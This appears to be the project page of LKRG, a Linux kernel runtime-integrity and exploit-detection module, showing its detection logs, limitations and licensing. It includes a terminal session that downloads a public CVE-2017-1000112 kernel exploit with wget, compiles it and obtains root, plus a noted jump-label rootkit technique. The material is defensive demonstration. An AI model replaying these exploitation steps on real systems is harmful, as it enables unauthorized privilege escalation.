Dec 19 19:33:58 pi3-ubuntu kernel: [ 70.645615] [p_lkrg] <Exploit Detection> Detected pointer swapping attack!process[1486 | exploit_no_smap] has different 'cred' pointer [0xffff9560a5d886c0 vs 0xffff9560a5d88300] Dec 19 19:33:58 pi3-ubuntu kernel: [ 70.645653] [p_lkrg] <Exploit Detection> Detected pointer swapping attack!process[1486 | exploit_no_smap] has different 'real_cred' pointer [0xffff9560a5d886c0 vs 0xffff9560a5d88300] Dec 19 19:33:58 pi3-ubuntu kernel: [ 70.645685] [p_lkrg] <Exploit Detection> process[1486 | exploit_no_smap] has different UID! 1000 vs 0 Dec 19 19:33:58 pi3-ubuntu kernel: [ 70.645704] [p_lkrg] <Exploit Detection> process[1486 | exploit_no_smap] has different EUID! 1000 vs 0 Dec 19 19:33:58 pi3-ubuntu kernel: [ 70.645723] [p_lkrg] <Exploit Detection> process[1486 | exploit_no_smap] has different SUID! 1000 vs 0 Dec 19 19:33:58 pi3-ubuntu kernel: [ 70.645742] [p_lkrg] <Exploit Detection> process[1486 | exploit_no_smap] has different FSUID! 1000 vs 0 Dec 19 19:33:58 pi3-ubuntu kernel: [ 70.645761] [p_lkrg] <Exploit Detection> process[1486 | exploit_no_smap] has different GID! 1000 vs 0 Dec 19 19:33:58 pi3-ubuntu kernel: [ 70.645780] [p_lkrg] <Exploit Detection> process[1486 | exploit_no_smap] has different EGID! 1000 vs 0 Dec 19 19:33:58 pi3-ubuntu kernel: [ 70.645799] [p_lkrg] <Exploit Detection> process[1486 | exploit_no_smap] has different SGID! 1000 vs 0 Dec 19 19:33:58 pi3-ubuntu kernel: [ 70.645817] [p_lkrg] <Exploit Detection> process[1486 | exploit_no_smap] has different FSGID! 1000 vs 0 Dec 19 19:33:58 pi3-ubuntu kernel: [ 70.645836] [p_lkrg] <Exploit Detection> Detected SECCOMP corruption!process[1486 | exploit_no_smap] has corrupted TIF_SECCOMP flag! [1 vs 0] Dec 19 19:33:58 pi3-ubuntu kernel: [ 70.645862] [p_lkrg] <Exploit Detection> Detected SECCOMP corruption!process[1486 | exploit_no_smap] has different SECCOMP mode! [SECCOMP_MODE_FILTER vs SECCOMP_MODE_DISABLED] Dec 19 19:33:58 pi3-ubuntu kernel: [ 70.645894] [p_lkrg] <Exploit Detection> Detected SECCOMP corruption!process[1486 | exploit_no_smap] has different SECCOMP filter pointer! [0xffff9560a4345600 vs 0x (null)] Dec 19 19:33:58 pi3-ubuntu kernel: [ 70.645925] [p_lkrg] <Exploit Detection> Trying to kill process[exploit_no_smap | 1486]! Dec 19 19:35:25 pi3-ubuntu kernel: [ 157.976342] hv_balloon: Balloon request will be partially fulfilled. Balloon floor reached.
Successful exploitation process can be seen as follow:
login as: pi3 pi3@192.168.1.30's password: Welcome to Ubuntu 16.04.3 LTS (GNU/Linux 4.8.0-52-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage 143 packages can be updated. 60 updates are security updates. Unable to get valid context for pi3 Last login: Fri Feb 9 21:16:57 2018 from 192.168.1.18 pi3@pi3-ubuntu:~$ mkdir CVE-2017-1000112 pi3@pi3-ubuntu:~$ cd CVE-2017-1000112 pi3@pi3-ubuntu:~/CVE-2017-1000112$ wget https://raw.githubusercontent.com/xairy/kernel-exploits/master/CVE-2017-1000112/poc.c --2018-02-09 21:18:24-- https://raw.githubusercontent.com/xairy/kernel-exploits/master/CVE-2017-1000112/poc.c Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.52.133 Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.52.133|:443... connected. HTTP request sent, awaiting response... 200 OK Length: 22886 (22K) [text/plain] Saving to: ‘poc.c’ poc.c 100%[============================================================================>] 22.35K --.-KB/s in 0.01s 2018-02-09 21:18:24 (1.61 MB/s) - ‘poc.c’ saved [22886/22886] pi3@pi3-ubuntu:~/CVE-2017-1000112$ gcc poc.c -o poc pi3@pi3-ubuntu:~/CVE-2017-1000112$ id uid=1000(pi3) gid=1000(pi3) groups=1000(pi3),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare) context=system_u:system_r:kernel_t:s0 pi3@pi3-ubuntu:~/CVE-2017-1000112$ ./poc [.] starting [.] checking distro and kernel versions [.] kernel version '4.8.0-52-generic' detected [~] done, versions looks good [.] checking SMEP and SMAP [~] done, looks good [.] setting up namespace sandbox [~] done, namespace sandbox set up [.] KASLR bypass enabled, getting kernel addr [~] done, kernel text: ffffffff82a00000 [.] commit_creds: ffffffff82aa5d00 [.] prepare_kernel_cred: ffffffff82aa60f0 [.] SMEP bypass enabled, mmapping fake stack [~] done, fake stack mmapped [.] executing payload ffffffff82a17c55 [~] done, should be root now [.] checking if we got root [+] got r00t ^_^ root@pi3-ubuntu:/home/pi3/CVE-2017-1000112# id uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:kernel_t:s0 root@pi3-ubuntu:/home/pi3/CVE-2017-1000112# exit exit pi3@pi3-ubuntu:~/CVE-2017-1000112$
If LKRG is installed, exploitation process is detected and successfully stopped:
pi3@pi3-ubuntu:~/CVE-2017-1000112$ id uid=1000(pi3) gid=1000(pi3) groups=1000(pi3),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare) context=system_u:system_r:kernel_t:s0 pi3@pi3-ubuntu:~/CVE-2017-1000112$ ./poc [.] starting [.] checking distro and kernel versions [.] kernel version '4.8.0-52-generic' detected [~] done, versions looks good [.] checking SMEP and SMAP [~] done, looks good [.] setting up namespace sandbox [~] done, namespace sandbox set up [.] KASLR bypass enabled, getting kernel addr [~] done, kernel text: ffffffff82a00000 [.] commit_creds: ffffffff82aa5d00 [.] prepare_kernel_cred: ffffffff82aa60f0 [.] SMEP bypass enabled, mmapping fake stack [~] done, fake stack mmapped [.] executing payload ffffffff82a17c55 [~] done, should be root now [.] checking if we got root Killed pi3@pi3-ubuntu:~/CVE-2017-1000112$ id uid=1000(pi3) gid=1000(pi3) groups=1000(pi3),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare) context=system_u:system_r:kernel_t:s0 pi3@pi3-ubuntu:~/CVE-2017-1000112$
If LKRG is installed, exploitation process is detected and successfully stopped:
Feb 9 21:20:33 pi3-ubuntu kernel: [ 228.864932] [p_lkrg] Loading LKRG... Feb 9 21:20:34 pi3-ubuntu kernel: [ 229.159677] [p_lkrg] LKRG initialized successfully! Feb 9 21:20:40 pi3-ubuntu kernel: [ 235.372066] [p_lkrg] <Exploit Detection> Detected pointer swapping attack!process[2399 | poc] has different 'cred' pointer [0xffff8d1bab32ed80 vs 0xffff8d1bb1a50180] Feb 9 21:20:40 pi3-ubuntu kernel: [ 235.372104] [p_lkrg] <Exploit Detection> Detected pointer swapping attack!process[2399 | poc] has different 'real_cred' pointer [0xffff8d1bab32ed80 vs 0xffff8d1bb1a50180] Feb 9 21:20:40 pi3-ubuntu kernel: [ 235.372137] [p_lkrg] <Exploit Detection> process[2399 | poc] has different UID! 1000 vs 0 Feb 9 21:20:40 pi3-ubuntu kernel: [ 235.372155] [p_lkrg] <Exploit Detection> process[2399 | poc] has different EUID! 1000 vs 0 Feb 9 21:20:40 pi3-ubuntu kernel: [ 235.372174] [p_lkrg] <Exploit Detection> process[2399 | poc] has different SUID! 1000 vs 0 Feb 9 21:20:40 pi3-ubuntu kernel: [ 235.372192] [p_lkrg] <Exploit Detection> process[2399 | poc] has different FSUID! 1000 vs 0 Feb 9 21:20:40 pi3-ubuntu kernel: [ 235.372210] [p_lkrg] <Exploit Detection> process[2399 | poc] has different GID! 1000 vs 0 Feb 9 21:20:40 pi3-ubuntu kernel: [ 235.372228] [p_lkrg] <Exploit Detection> process[2399 | poc] has different EGID! 1000 vs 0 Feb 9 21:20:40 pi3-ubuntu kernel: [ 235.372247] [p_lkrg] <Exploit Detection> process[2399 | poc] has different SGID! 1000 vs 0 Feb 9 21:20:40 pi3-ubuntu kernel: [ 235.372265] [p_lkrg] <Exploit Detection> process[2399 | poc] has different FSGID! 1000 vs 0 Feb 9 21:20:40 pi3-ubuntu kernel: [ 235.372284] [p_lkrg] <Exploit Detection> Trying to kill process[poc | 2399]!
Some of the examples how to use LKRG can be found here.
As soon as LKRG is loaded in the system, none of the .text section modifications is allowed. This is also true for the official Linux APIs which sometimes does patch(!) it. One of the examples might be kprobes interface. It is injecting 0xCC instruction on the monitored function. That’s why all modules using kprobes must be loaded BEFORE LKRG. Linux kernel can be compiled to heavily consume low-level runtime patching mechanism called “jump label” (CONFIG_JUMP_LABEL=y). Most of the Linux distributions provide kernel compiled with this option (sometimes extra sub-options - *_JUMP_LABEL). It makes Linux kernel a heavily self-modifying code which is very troublesome for this project (since we are comparing hashes!). Especially, *_JUMP_LABEL is just a low-level mechanism which might be consumed by higher level kernel layers or macros, e.g.:
To mitigate this problem LKRG does the following:
NOTE: The following attack is still possible – find injected NOPs (by *_JMP_LABEL) and overwrite them using 'jmp' instruction. Destination of this instruction must point to the random address at the same “symbol name rage”. It allows the attacker to create a rootkit based only on ROP. A few comments are needed here:
Among others, LKRG covers a .text section of every individual module (you can read about it here) but does NOT support self-modifications. It also applies to a situation when for some reasons *_JUMP_LABELS is used in the modules. Then it won't be whitelisted by LKRG and it will be treated as security violation from the LKRG's point of view. This implies that kernel modules leveraging *_JUMP_LABELS should be compiled not as modules, but as core kernel. Netfilter modules (NF_*) could be an example - they are taking benefits from *_JUMP_LABELS and should be compiled as core kernel in order to correctly cooperate with LKRG and *_JUMP_LABELS whitelistening. Otherwise, any self-modification will be treated as a corruption.
There is an undesirable situation in SMP Linux machines when sending an IPI. Unfortunately, it might influence the state of the kernel and generating very confusing logs. They appear to suggest that the problem resides on the correct execution context which is killed and dumped, but not on the actually problematic context, which might not be dumped. This makes it hard to root-cause the problem even if one is aware of this shortcoming of the killings and the logging. More details about it can be found here:
We will likely use GPLv2 at least for LKRG free. We might or might not use a different license for LKRG Pro, if we ever make it.
All rights reserved to Adam 'pi3' Zabrocki.
Patreon ⇒ https://www.patreon.com/p_lkrg
I would like to thank the following people who helped me at some point during development of this project: